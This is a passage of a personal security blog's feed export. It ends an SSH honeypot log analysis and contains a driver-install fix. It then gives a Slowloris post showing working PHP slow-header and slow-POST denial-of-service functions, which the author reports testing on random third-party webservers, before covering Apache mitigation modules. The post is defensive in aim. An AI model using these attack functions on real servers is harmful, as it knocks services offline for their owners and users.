...). It then checks for some basic vulnerable daemons, and warns that you should patch them (oh the irony). It finally also checks for other rootkits (tk7, tk8, beX2, tuxkit, optickit) and tries to remove those. It then tries to cover its tracks by clearing log files. &lt;/p&gt;&lt;p&gt;The other files also mostly contained bots pointing to Undernet IRC channels. Some or quite active and contain around 100 bots, others are empty. Joining some of them gets you an immediate ban.&lt;/p&gt;&lt;h1&gt;Country statistics&lt;/h1&gt;&lt;p&gt;I grepped through hundreds of lines of logging from Kippo, removed duplicate IP addresses, and used GeoIP to do a country lookup. Here are the sorted results:&lt;/p&gt;&lt;pre&gt;&lt;code class="prettyprint" style="height: 300px;"&gt;CN, China                51&lt;br /&gt;US, United States        42&lt;br /&gt;RO, Romania              26&lt;br /&gt;CA, Canada               12&lt;br /&gt;IN, India                11&lt;br /&gt;KR, Korea, Republic of   10&lt;br /&gt;RU, Russian Federation   10&lt;br /&gt;BR, Brazil                8&lt;br /&gt;DE, Germany               8&lt;br /&gt;GB, United Kingdom        8&lt;br /&gt;TH, Thailand              8&lt;br /&gt;IT, Italy                 7&lt;br /&gt;HK, Hong Kong             6&lt;br /&gt;JP, Japan                 5&lt;br /&gt;TR, Turkey                5&lt;br /&gt;AT, Austria               4&lt;br /&gt;TW, Taiwan                4&lt;br /&gt;BE, Belgium               3&lt;br /&gt;CO, Colombia              3&lt;br /&gt;ES, Spain                 3&lt;br /&gt;FR, France                3&lt;br /&gt;NL, Netherlands           3&lt;br /&gt;SE, Sweden                3&lt;br /&gt;CZ, Czech Republic        2&lt;br /&gt;EG, Egypt                 2&lt;br /&gt;ID, Indonesia             2&lt;br /&gt;MD, Moldova, Republic of  2&lt;br /&gt;NO, Norway                2&lt;br /&gt;PL, Poland                2&lt;br /&gt;VN, Vietnam               2&lt;br /&gt;AE, United Arab Emirates  1&lt;br /&gt;AR, Argentina             1&lt;br /&gt;BG, Bulgaria              1&lt;br /&gt;BH, Bahrain               1&lt;br /&gt;CH, Switzerland           1&lt;br /&gt;CL, Chile                 1&lt;br /&gt;CR, Costa Rica            1&lt;br /&gt;GE, Georgia               1&lt;br /&gt;GT, Guatemala             1&lt;br /&gt;HU, Hungary               1&lt;br /&gt;IS, Iceland               1&lt;br /&gt;KE, Kenya                 1&lt;br /&gt;KZ, Kazakhstan            1&lt;br /&gt;LB, Lebanon               1&lt;br /&gt;LT, Lithuania             1&lt;br /&gt;MN, Mongolia              1&lt;br /&gt;MX, Mexico                1&lt;br /&gt;MZ, Mozambique            1&lt;br /&gt;PA, Panama                1&lt;br /&gt;PE, Peru                  1&lt;br /&gt;PH, Philippines           1&lt;br /&gt;SG, Singapore             1&lt;br /&gt;VE, Venezuela             1&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-1yjxTiktK-w/TXgYDentuKI/AAAAAAAARR8/Yo1bNNkVWZY/s1600/hacker-country-pie.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="312" width="400" src="http://1.bp.blogspot.com/-1yjxTiktK-w/TXgYDentuKI/AAAAAAAARR8/Yo1bNNkVWZY/s400/hacker-country-pie.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Be wary when interpreting these results, as they might represent "countries containing hacked servers" more than "originating countries of hackers", as hacked servers are, as we've seen, often used to get to other targets.&lt;/p&gt;&lt;h1&gt;Concluding remarks&lt;/h1&gt;&lt;p&gt;Kippo has now been removed from my server, due to the fact that I don't have enough time to keep checking up on it and I feel a bit uneasy running a honeypot on server containing important data. As I've set, modifying and extending Kippo and analysing the results using a few VPS hosts might be a fun summer project.&lt;/p&gt;&lt;p&gt;The main lesson to take away from this post is this: keep your servers secure. This means running upgrades, but especially choosing strong passwords (or using RSA keys). As we've seen, most malware contained brute forcing tools, trying one server after another.&lt;/p&gt;&lt;p&gt;While analyzing cute honeypot logs is by no means doing what one would call "advanced security research", I did have a lot of fun with it, especially when trying to investigate IRC channels and trailing the hackers.&lt;/p&gt;&lt;p&gt;Some time ago (actually: years and years ago), I myself was (indirectly) involved with a botnet, containing not hundred but thousands of bots, which is a story for another time. I understand the thrill of gaining your first rooted shell, but being on the opposite side of things (that is: running a server instead of hacking one) also shows how script kiddies operate without any regard for privacy, property or data. It is a valuable, but sad lesson.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-3464841989377076938?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/3464841989377076938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2011/03/running-ssh-honeypot-with-kippo-lets.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/3464841989377076938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/3464841989377076938'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2011/03/running-ssh-honeypot-with-kippo-lets.html' title='Running A SSH Honeypot With Kippo: Let&apos;s Catch Some Script Kiddies'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-1yjxTiktK-w/TXgYDentuKI/AAAAAAAARR8/Yo1bNNkVWZY/s72-c/hacker-country-pie.png' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-482133650098403390</id><published>2011-01-18T21:31:00.002+01:00</published><updated>2011-03-08T19:34:54.074+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ps3'/><category scheme='http://www.blogger.com/atom/ns#' term='problem'/><category scheme='http://www.blogger.com/atom/ns#' term='installation'/><category scheme='http://www.blogger.com/atom/ns#' term='solving'/><category scheme='http://www.blogger.com/atom/ns#' term='crash'/><category scheme='http://www.blogger.com/atom/ns#' term='driver'/><category scheme='http://www.blogger.com/atom/ns#' term='motioninjoy'/><title type='text'>MotionInJoy Appcrash When Loading Driver</title><content type='html'>When trying to install the MotioninJoy driver using the GUI, the program crashes.&lt;br /&gt;Manually running the driver installation works. To do this, open a &lt;code&gt;cmd&lt;/code&gt; window with administrative privileges. Make sure you have followed the other MotioninJoy steps and the controller is plugged in.&lt;br /&gt;cd to the "ds3" directory, located in your MotioninJoy install path, e.g.:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;C:\Users\Seppe&amp;gt;&lt;b&gt;cd "C:\Installed Files\MotioninJoy\ds3"&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;C:\Installed Files\MotioninJoy\ds3&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;Then run the driver installation program like so:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;C:\Installed Files\MotioninJoy\ds3&amp;gt;&lt;b&gt;MijCmd.exe /i drivers\MijXinput.inf&lt;/b&gt;&lt;br /&gt;INFO: Updateing driver,Please wait a moment...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;A notepad file containing log output will open, it should look something like this:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;INFO:MotioninJoy Driver install log&lt;br /&gt;INFO: Driver install Enter&lt;br /&gt;INFO: argc0="MijCmd.exe"&lt;br /&gt;INFO: argc1="/i"&lt;br /&gt;INFO: argc2="drivers\mijxinput.inf"&lt;br /&gt;INFO: DriverPackageInfPath="C:\Installed Files\MotioninJoy\ds3\drivers\mijxinput.inf"&lt;br /&gt;INFO: &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;installing driver package.&lt;br /&gt;LOG Event: 1, ENTER:  DriverPackageInstallW&lt;br /&gt;LOG Event: 2, DRIVER&amp;amp;#95;PACKAGE&amp;amp;#95;LEGACY&amp;amp;#95;MODE flag set but not supported on Plug and Play driver on VISTA. Flag will be ignored.&lt;br /&gt;LOG Event: 1, Looking for Model Section [MotioninJoy.NTamd64.6.0]...&lt;br /&gt;LOG Event: 1, Installing INF file 'C:\Installed Files\MotioninJoy\ds3\drivers\mijxinput.inf' (Plug and Play).&lt;br /&gt;LOG Event: 1, Looking for Model Section [MotioninJoy.NTamd64.6.0]...&lt;br /&gt;LOG Event: 1, Installing devices with Id "USB\VID&amp;amp;#95;054C&amp;amp;PID&amp;amp;#95;0268&amp;amp;REV&amp;amp;#95;0100" using INF "C:\Windows\System32\DriverStore\FileRepository\mijxinput.inf&amp;amp;#95;amd64&amp;amp;#95;neutral&amp;amp;#95;452fabe792a00d17\mijxinput.inf".&lt;br /&gt;LOG Event: 1, ENTER UpdateDriverForPlugAndPlayDevices...&lt;br /&gt;LOG Event: 0, RETURN UpdateDriverForPlugAndPlayDevices.&lt;br /&gt;LOG Event: 1, Installation was successful.&lt;br /&gt;LOG Event: 1, Marked Phantom Device with Hardware/Compatible Id 'USB\VID&amp;amp;#95;054C&amp;amp;PID&amp;amp;#95;0268&amp;amp;REV&amp;amp;#95;0100' for reinstall on next plug-in.&lt;br /&gt;LOG Event: 0, Install completed&lt;br /&gt;LOG Event: 1, RETURN: DriverPackageInstallW  (0x0)&lt;br /&gt;SUCCESS: installed package C:\Installed Files\MotioninJoy\ds3\drivers\mijxinput.inf.&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;You can now use the MotioninJoy GUI again. The driver will be installed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-482133650098403390?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/482133650098403390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/482133650098403390'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2011/01/motioninjoy-appcrash-when-loading.html' title='MotionInJoy Appcrash When Loading Driver'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-262637983387788941</id><published>2011-01-12T02:37:00.013+01:00</published><updated>2011-02-03T12:17:49.225+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='slowloris'/><category scheme='http://www.blogger.com/atom/ns#' term='netsec'/><category scheme='http://www.blogger.com/atom/ns#' term='noloris'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='limitipconn'/><category scheme='http://www.blogger.com/atom/ns#' term='module'/><category scheme='http://www.blogger.com/atom/ns#' term='antiloris'/><title type='text'>Slowloris And Mitigations For Apache</title><content type='html'>&lt;h1&gt;Introduction&lt;/h1&gt;If you are the least bit interested in network security, you'll&amp;nbsp;undoubtedly&amp;nbsp;have heard about Slowloris by now.&lt;br /&gt;&lt;blockquote&gt;Slowloris is a piece of software written by Robert "RSnake" Hansen which allows a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports.&amp;nbsp;Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. Periodically, it will send subsequent HTTP headers, adding to—but never completing—the request. Affected servers will keep these connections open, filling their maximum concurrent connection pool, eventually denying additional connection attempts from clients. (From: &lt;a href="http://en.wikipedia.org/wiki/Slowloris"&gt;Wikipedia&lt;/a&gt;)&lt;/blockquote&gt;The attack is HTTP-based, and attacks webservers by making lots of keep-alive connections and keeping them alive by sending bogus HTTP headers. The server's connection pool gets filled and no other clients can be served. The attack is said to work on a large number of webservers, according to the &lt;a href="http://ha.ckers.org/slowloris/"&gt;project page&lt;/a&gt;:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Apache 1.x&lt;/li&gt;&lt;li&gt;Apache 2.x&lt;/li&gt;&lt;li&gt;dhttpd&lt;/li&gt;&lt;li&gt;GoAhead WebServer&lt;/li&gt;&lt;li&gt;WebSense "block pages" (unconfirmed)&lt;/li&gt;&lt;li&gt;Trapeze Wireless Web Portal (unconfirmed)&lt;/li&gt;&lt;li&gt;Verizon's MI424-WR FIOS Cable modem (unconfirmed)&lt;/li&gt;&lt;li&gt;Verizon's Motorola Set-Top Box (port 8082 and requires auth - unconfirmed)&lt;/li&gt;&lt;li&gt;BeeWare WAF (unconfirmed)&lt;/li&gt;&lt;li&gt;Deny All WAF (unconfirmed)&lt;/li&gt;&lt;/ul&gt;And does not affect:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;IIS6.0&lt;/li&gt;&lt;li&gt;IIS7.0&lt;/li&gt;&lt;li&gt;lighttpd&lt;/li&gt;&lt;li&gt;Squid&lt;/li&gt;&lt;li&gt;nginx&lt;/li&gt;&lt;li&gt;Cherokee (verified by user community)&lt;/li&gt;&lt;li&gt;Netscaler&lt;/li&gt;&lt;li&gt;Cisco CSS (verified by user community)&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Recently, the method was placed in the spotlights again, because both Wikileaks-supporters and non-supporters were using it to DOS a variety of websites and Wikileaks mirrors. Also, recently, an alternative HTTP-based DOS method was found, using POST requests with a large content length (&lt;a href="http://www.darkreading.com/vulnerability-management/167901026/security/application-security/228400147/new-http-post-ddos-attack-tools-released.html"&gt;article&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;h1&gt;Attack&lt;/h1&gt;I run Apache, so, naturally, I was (and still am) concerned about this attack vector. The first step in preventing and solving security problems lies in understanding the attack. Luckily, in this case, the attack is&amp;nbsp;devilishly&amp;nbsp;simple. Based on a PHP version of the original Slowloris attack (&lt;a href="http://seclists.org/fulldisclosure/2009/Jun/207"&gt;found here&lt;/a&gt;), I wrote a modified script which also included the new POST-based attack method. The extended version of the script can be found on &lt;a href="https://gist.github.com/771824"&gt;Github&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The usage is straightforward:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;./scriptname.php &amp;lt;method&amp;gt; &amp;lt;number of processes&amp;gt; &amp;lt;server&amp;gt; [host]&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Where:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;tt&gt;&amp;lt;method&amp;gt;&lt;/tt&gt; is either "get" for the "slow-headers" based attack, or "post" for the new variant;/li&amp;gt;&lt;/li&gt;&lt;li&gt;&lt;tt&gt;&amp;lt;number of processes&amp;gt;&lt;/tt&gt; determines the number of concurrent requests, around 300 does the trick in most cases;&lt;/li&gt;&lt;li&gt;&lt;tt&gt;&amp;lt;server&amp;gt;&lt;/tt&gt; is the hostname or IP address of the server you want to target;&lt;/li&gt;&lt;li&gt;&lt;tt&gt;[host]&lt;/tt&gt; is an optional parameter which will be used in the "Host:"-request header. If left blank the same value as &lt;server&gt; will be used.&lt;/server&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The script really illustrates how simple the attacks are, lets comment a bit on the &lt;tt&gt;attack_get&lt;/tt&gt; function:&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;function attack_get($server, $host){&lt;br /&gt;    # The following lines set up a normal HTTP1.1 GET request with Keep-Alive&lt;br /&gt;    $request  = "GET / HTTP/1.1\r\n";&lt;br /&gt;    $request .= "Host: $host\r\n";&lt;br /&gt;    # Spoof User-Agent (can be changed)&lt;br /&gt;    $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";&lt;br /&gt;    # The following header is, strictly speaking, not necessary, all HTTP1.1 requests are kept alive&lt;br /&gt;    $request .= "Keep-Alive: 900\r\n";&lt;br /&gt;    # Just make the Content-Length large enough&lt;br /&gt;    $request .= "Content-Length: " . rand(10000, 1000000) . "\r\n";&lt;br /&gt;    $request .= "Accept: *.*\r\n";&lt;br /&gt;    # First custom header, name can be changed&lt;br /&gt;    $request .= "X-a: " . rand(1, 10000) . "\r\n";&lt;br /&gt;&lt;br /&gt;    # Open socket to webserver and send request&lt;br /&gt;    $sockfd = @fsockopen($server, 80, $errno, $errstr);&lt;br /&gt;    @fwrite($sockfd, $request);&lt;br /&gt;&lt;br /&gt;    while (true){&lt;br /&gt;     # Try adding another bogus header&lt;br /&gt;        if (@fwrite($sockfd, "X-c:" . rand(1, 100000) . "\r\n")){&lt;br /&gt;         # Sleep for a bit&lt;br /&gt;            sleep(15);&lt;br /&gt;        }else{&lt;br /&gt;            # Sending failed&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The &lt;tt&gt;attack_post&lt;/tt&gt; function works very similar:&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;function attack_post($server, $host){&lt;br /&gt;    # Send a post request to a random location, eventually you could change this to make sure you post to an existing URL&lt;br /&gt;    $request  = "POST /".md5(rand())." HTTP/1.1\r\n";&lt;br /&gt;    $request .= "Host: $host\r\n";&lt;br /&gt;    $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";&lt;br /&gt;    $request .= "Keep-Alive: 900\r\n";&lt;br /&gt;    # "Prepare yourself webserver, we're going to send a lot here, ready?"&lt;br /&gt;    $request .= "Content-Length: 1000000000\r\n";&lt;br /&gt;    $request .= "Content-Type: application/x-www-form-urlencoded\r\n";&lt;br /&gt;    $request .= "Accept: *.*\r\n";&lt;br /&gt;&lt;br /&gt;    $sockfd = @fsockopen($server, 80, $errno, $errstr);&lt;br /&gt;    @fwrite($sockfd, $request);&lt;br /&gt;&lt;br /&gt;    while (true){&lt;br /&gt;        # Send a small bit of content&lt;br /&gt;        if (@fwrite($sockfd, ".") !== FALSE){&lt;br /&gt;            # Sleep for a bit, pretend that "We're a terribly slow browser, so sorry..."&lt;br /&gt;            sleep(1);&lt;br /&gt;        }else{&lt;br /&gt;            # Sending failed&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;You can also download an OWASP (Open Web Application Security Project) tool found &lt;a href="http://www.owasp.org/index.php/OWASP_HTTP_Post_Tool"&gt;here&lt;/a&gt;&amp;nbsp;which does the same. The tool contains a GUI which lets you choice the attack method (slow headers or slow post), has proxy support, and allows setting attack parameters. The slow header attack can use GET or POST requests, whereas my script above can not and only uses GET. Not that it matters much for that method, as the headers are the crucial factor.&lt;br /&gt;&lt;br /&gt;The attack certainly works. In my testing, I was able to DOS about 30% of all sampled webservers (retrieved from just random Google results), including my own. A funny side effect of this method is that, once you stop attacking, the server&amp;nbsp;immediately&amp;nbsp;becomes responsive again as the connection pool is freed. The slow post attack worked more reliable in my testing than the slow headers.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;Mitigation&lt;/h1&gt;Preventing the attack is not easy. The Apache developers are &lt;a href="http://article.gmane.org/gmane.comp.apache.devel/37794"&gt;aware&lt;/a&gt;&amp;nbsp;of the problem, but some architectural changes are needed before the problem will be solved. In the meantime, some users have made some suggestions and/or developed solutions themselves:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Using Apache modules such as&amp;nbsp;mod_limitipconn, mod qos, mod_evasive, mod_security, mod_noloris, and mod_antiloris.&lt;/li&gt;&lt;li&gt;Making some changes to Apache configuration.&lt;/li&gt;&lt;li&gt;Using load balancers or proxies. Setting up &lt;a href="http://www.varnish-cache.org/"&gt;Varnish&lt;/a&gt; in front of Apache seems to be a popular choice.&lt;/li&gt;&lt;li&gt;Using IPTABLES to block a lot of simultaneous requests from the same IP&lt;/li&gt;&lt;li&gt;Using Fail2Ban or similar software to ban IP's based on log data&lt;/li&gt;&lt;li&gt;Making changes to Linux/FreeBSD network parameters using accf,&amp;nbsp;pfctl,&amp;nbsp;sysctl&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Since I want to try to keep things simple, I'll look at the Apache configuration, and some helpful modules.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;h2&gt;Apache Configuration&lt;/h2&gt;This mainly concerns tuning the following:&amp;nbsp;&lt;tt&gt;KeepAliveTimeout&lt;/tt&gt; and&amp;nbsp;&lt;tt&gt;Timeout&lt;/tt&gt;.&lt;br /&gt;&lt;tt&gt;Timeout&lt;/tt&gt; does the following (&lt;a href="http://httpd.apache.org/docs/current/mod/core.html"&gt;docs&lt;/a&gt;):&lt;br /&gt;&lt;blockquote&gt;The TimeOut directive defines the length of time Apache will wait for I/O in various circumstances:&lt;br /&gt;When reading data from the client, the length of time to wait for a TCP packet to arrive if the read buffer is empty.&lt;br /&gt;When writing data to the client, the length of time to wait for an acknowledgement of a packet if the send buffer is full.&lt;/blockquote&gt;This helps a bit, but an attacker could just increase his own sending rate (e.g. lower the sleep time in the functions above) to work around this.&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;KeepAliveTimeout&lt;/tt&gt; then does:&lt;br /&gt;&lt;blockquote&gt;The number of seconds Apache will wait for a subsequent request before closing the connection.&lt;/blockquote&gt;&lt;div&gt;Again, the problem remains. An attacker could just increase the sending rate. Note that, when using the slow headers method, the &lt;tt&gt;Timeout&lt;/tt&gt; directive above might not help a single bit, since the docs state that:&lt;/div&gt;&lt;blockquote&gt;Once a request has been received, the timeout value specified by the Timeout directive applies.&lt;/blockquote&gt;But the full receiving of a request itself takes a long, long time.&lt;br /&gt;&lt;br /&gt;Turning &lt;tt&gt;KeepAlive&lt;/tt&gt; completely off might help, but it is no real remedy. The POST attack still remains an issue. Tweaking with the Apache options alone is thus certainly not enough.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;mod_antiloris&lt;/h2&gt;Some developers have released Apache modules geared to mitigate the Slowloris attack. The two most common ones are &lt;tt&gt;mod_antiloris&lt;/tt&gt; and &lt;tt&gt;mod_noloris&lt;/tt&gt;. Both use the same trick to prevent attacks. They both hook into connection attempts:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;ap_hook_process_connection(pre_connection, NULL, NULL, APR_HOOK_FIRST);&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And count how many connections from the same remote IP are already in the&amp;nbsp;SERVER_BUSY_READ state (the server is reading data from a client). When this count is too high, subsequent connections get denied:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;for (i = 0; i &amp;lt; server_limit; ++i) {&lt;br /&gt;    for (j = 0; j &amp;lt; thread_limit; ++j) {&lt;br /&gt;        ws_record = ap_get_scoreboard_worker(i, j);&lt;br /&gt;        switch (ws_record-&amp;gt;status) {&lt;br /&gt;            case SERVER_BUSY_READ:&lt;br /&gt;                if (strcmp(client_ip, ws_record-&amp;gt;client) == 0)&lt;br /&gt;                    ip_count++;&lt;br /&gt;                break;&lt;br /&gt;            default:&lt;br /&gt;                break;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (ip_read_count &amp;gt; conf-&amp;gt;read_limit) {&lt;br /&gt;    ap_log_error(APLOG_MARK, APLOG_WARNING, 0, NULL, "[client %s] rejected, too many connections in READ state", c-&amp;gt;remote_ip);&lt;br /&gt;    return OK;&lt;br /&gt;} else {&lt;br /&gt;    return DECLINED;&lt;br /&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Installing &lt;a href="http://sourceforge.net/projects/mod-antiloris/"&gt;mod_antiloris&lt;/a&gt; in Ubuntu is a simple matter of executing:&lt;br /&gt;&lt;br /&gt;&lt;code class="prettyprint"&gt;$ sudo apt-get install&amp;nbsp;libapache2-mod-antiloris&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;mod_limitipconn&lt;/h2&gt;During testing, I discovered that the mod_antiloris module above only protects against the original slow header variant of the Slowloris attack. The slow post was still killing my webserver. So I explored the use of another mod, named &lt;a href="http://dominia.org/djao/limitipconn2.html"&gt;mod_limitipconn&lt;/a&gt;, which limits simultaneous requests from the same IP.&lt;br /&gt;&lt;br /&gt;There is no Apache2 module of &lt;tt&gt;mod_limitipconn&lt;/tt&gt; in the Ubuntu repositories, but a Debian deb package is available online and works fine on Ubuntu:&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;# Use the i386 package if you have to...&lt;br /&gt;$ wget http://elonen.iki.fi/code/unofficial-debs/mod-limitipconn/apache2-mod-limitipconn_0.22-2_amd64.deb&lt;br /&gt;$ sudo dpkg -i ./apache2-mod-limitipconn_0.22-2_amd64.deb&lt;br /&gt;$ sudo a2enmod limitipconn&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Before you restart Apache, create a configuration file at &lt;tt&gt;/etc/apache2/conf.d/limitipconn.conf&lt;/tt&gt;:&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;ExtendedStatus On&lt;br /&gt;&amp;lt;IfModule mod_limitipconn.c&amp;gt;&lt;br /&gt;        &amp;lt;Location /&amp;gt;&lt;br /&gt;                # Global settings here&lt;br /&gt;                MaxConnPerIP 10&lt;br /&gt;                # No limit for images&lt;br /&gt;                NoIPLimit image/*&lt;br /&gt;        &amp;lt;/Location&amp;gt;&lt;br /&gt;&amp;lt;/IfModule&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now the server can be restarted:&lt;br /&gt;&lt;br /&gt;&lt;code class="prettyprint"&gt;$ sudo /etc/init.d/apache2 restart&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;When investigating the source code of mod_limitipconn, we find the following lines:&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;/* Count up the number of connections we are handling right now from&lt;br /&gt;* this IP address */&lt;br /&gt;for (i = 0; i &amp;lt; server_limit; ++i) {&lt;br /&gt;    for (j = 0; j &amp;lt; thread_limit; ++j) {&lt;br /&gt;        ws_record = ap_get_scoreboard_worker(i, j);&lt;br /&gt;        switch (ws_record-&amp;gt;status) {&lt;br /&gt;            case SERVER_BUSY_READ:&lt;br /&gt;            case SERVER_BUSY_WRITE:&lt;br /&gt;            case SERVER_BUSY_KEEPALIVE:&lt;br /&gt;            case SERVER_BUSY_LOG:&lt;br /&gt;            case SERVER_BUSY_DNS:&lt;br /&gt;            case SERVER_CLOSING:&lt;br /&gt;            case SERVER_GRACEFUL:&lt;br /&gt;                if (strcmp(address, ws_record-&amp;gt;client) == 0)&lt;br /&gt;                    ip_count++;&lt;br /&gt;                break;&lt;br /&gt;            default:&lt;br /&gt;                break;&lt;br /&gt;    }&lt;br /&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Not much different compared to the previous mods, except that mod_limitipconn takes into account all possible server states. Not surprisingly, the attack stopped working after installing this mod. You can disable mod_antiloris when using this module. One might wonder which state actually protects against the slow post attack variant. One would except SERVER_BUSY_READ to intercept these as well, as the server is, in fact, still reading a request from the client and waiting for it to complete. However, as it turns out, the server actually switches to the SERVER_BUSY_WRITE state when receiving a POST, as described on the &lt;a href="http://www.pubbs.net/200910/httpd/29387-crazy-slowloris-mitigation-patch.html"&gt;mailing lists&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;However, there is a real problem with all approaches that look for&amp;nbsp;SERVER_BUSY_READ: The attacker can just use a URL that accepts POST&amp;nbsp;requests and send the request body very slowly. These connections&amp;nbsp;have&amp;nbsp;the state SERVER_BUSY_WRITE. This problem affects mod_antiloris and&amp;nbsp;mod_noloris, too (but not mod_reqtimeout).&amp;nbsp;Maybe another state SERVER_BUSY_READ_BODY could be introduced? Or the&amp;nbsp;state could be changed to SERVER_BUSY_READ again when the request&amp;nbsp;body&amp;nbsp;is read?&lt;/blockquote&gt;Interesting information, and some valid points.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Modified mod_antiloris&lt;/h2&gt;With this in mind I set out to modify mod_antiloris, as I wasn't completely happy with mod_limitipconn. The module works great, but provided too much configuration overhead. I wanted something really simple. The source code for mod_antiloris was quickly edited to include a second counter, and to check the request string (i.e. it has to contain "POST").&lt;br /&gt;&lt;pre&gt;&lt;code class="prettyprint"&gt;switch (ws_record-&amp;gt;status) {&lt;br /&gt;    case SERVER_BUSY_READ:&lt;br /&gt;        if (strcmp(client_ip, ws_record-&amp;gt;client) == 0){&lt;br /&gt;     ip_read_count++;&lt;br /&gt;        }&lt;br /&gt;        break;&lt;br /&gt;    case SERVER_BUSY_WRITE:&lt;br /&gt;        if (NULL != strstr(ws_record-&amp;gt;request, str_post) &amp;amp;&amp;amp; strcmp(client_ip, ws_record-&amp;gt;client) == 0){&lt;br /&gt;            ip_write_count++;&lt;br /&gt;        }&lt;br /&gt;        break;&lt;br /&gt;    default:&lt;br /&gt;        break;&lt;br /&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;I also modified the logging to look a bit more like normal Apache error lines. This will come into play in the next step. The full modified source code is available on &lt;a href="https://gist.github.com/773464"&gt;Github&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;Installing and compiling the module requires little work:&lt;br 